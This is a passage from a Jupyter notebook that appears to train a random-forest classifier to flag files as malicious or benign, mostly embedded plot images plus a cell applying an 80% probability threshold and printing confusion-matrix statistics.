2vjj\n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\n", + "text": [ + "" + ] + } + ], + "prompt_number": 172 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### One of the features of the classifier is the ability to give a probability that the feature set belongs to a specific class. In the code below, we are asking the classifier to give us the probability the feature set (file) belongs to the malicious class and only marking the file as malicious if 80% of the trees declare it malicious." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "y_probs = clf_all.predict_proba(X_test)[:,1]\n", + "thres = .80 # This can be set to whatever you'd like\n", + "y_pred[y_probs>thres] = 'malicious'\n", + "y_pred[y_probs<=thres] = 'benign'\n", + "cm = confusion_matrix(y_test, y_pred, labels)\n", + "plot_cm(cm, labels)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Confusion Matrix Stats\n", + "benign/benign: 99.02% (101/102)\n", + "benign/malicious: 0.98% (1/102)\n", + "malicious/benign: 2.94% (3/102)\n", + "malicious/malicious: 97.06% (99/102)\n" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "iVBORw0KGgoAAAANSUhEUgAAAfEAAAFSCAYAAADiuuY9AAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzt3XeYHdV9//H3RxQVOggwJZhmIWNb9FBkg0A2AZNg7CQ2\nDpguN9wSOwkiLpjQXURwKAEZMGAIYIyAHzHCCIRMkwSYaoRAIHDABoQgakiU/f7+OOeKq8tsubuz\n2r2zn9fzzDN7z5yZObMs+t5T5hxFBGZmZtZ6BvV1AczMzKx7HMTNzMxalIO4mZlZi3IQNzMza1EO\n4mZmZi3KQdzMzKxFOYhbn5B0lKQ2SXv3YRnG5DIc2VdlsN4n6VJJbQ1pJ+X/9lt043rdPtesbA7i\nNtBF3qzaGv8b9+S/u/9mrN9wELeB7E5gKHBFXxfEep0aPp8CDI2I57txrZ6ca1aqVfu6AGZ9JdJ0\nhW/2dTls5YuId4B3Vva5ZmVzTdz62mq5j/E5SUslPSzpc42ZJO0q6XpJr+R8sySdKGmVhnxTJT0r\naRNJV0maL2mxpFskfaAhb2GfuKQNJF0s6VVJCyVNkbRj7doNeedKukPSSEk3S1og6XVJ10rauMxf\nVFXUjYfYT9J38+9wiaTpkkbnPGMk3SVpkaQXJX234Rr7S7pa0jP53NckTe7qGIv2+rUlrS3pVElP\nSHpD0jxJv6v/m+zg3C0lXS7ppfw3+nS+1tCGfO/po6871ibpkoa0IyTNyM+4SNIcSVdIGt6VZ7Vq\nc03c+tqZwDDgP0lNnkcDV0kaEhG/AJB0EPBrYDbwY2A+sBdwMrAj8Nm66wWwBjANuBcYD2wNfBO4\nQdKHI6LxH9Dl/ZuSBgO3ATsAlwAz8s+35fsW9a1uBtyRy3hDLtOXgLWBv+rG72SgOINUkTgbGAx8\nG7hF0rHA+cAFwOXA54CTJT0bEb/M5x4JrAtcCvwvsDlwHDBF0r4RcVezhZG0LnAXsD1wLXAusAqw\nM3AQcHUH576f9LeyFnAe8BSwL+nvb7SksbkGX9NRn3r93+MXSM84Dfge8AawBXAgsCEwr5lntAqK\nCG/eVvoGHAW0Ac8Ca9Wlrw3MBV4l/cM+BPgzMBUY1HCNb+Vr7FOXNjWnfach73dy+v51aWNy2hF1\naV/NaeMbzv9KTn+mIX1uTv+7hvT/zOkj+vp33d+2uv/29wOr1qX/TU5/C9i5Ln014EXgnrq0YQXX\n3Qh4Bbi5If1SoK0h7aR8ry3q0s7LaccVXFudnPvLnHZAw3ln5fRjOipP3bE24OK6z78GXm/82/fm\nrba5Od362vkRsbD2ISIWkGpg65FqMp8g/eN8KbC+pOG1DfhNPm3/hmu+A5zTkHZH3m/bSXn+Bngb\n+I+G9InAgnbOeSEiftXN+w1k50fE23Wfa7XneyPiwVpiRLwFzAQ+UJe2pPazpDUlbUAKgDOA3Zst\niKRBwKHAHyJiYuPxiGi35pzPPRh4MCJuaTh8ei7Xp5stU/Y6qWXpryU1Ds4zc3O69bknOkjbGlgz\n/3xxO+cHKcjXezEiGgesvZr3G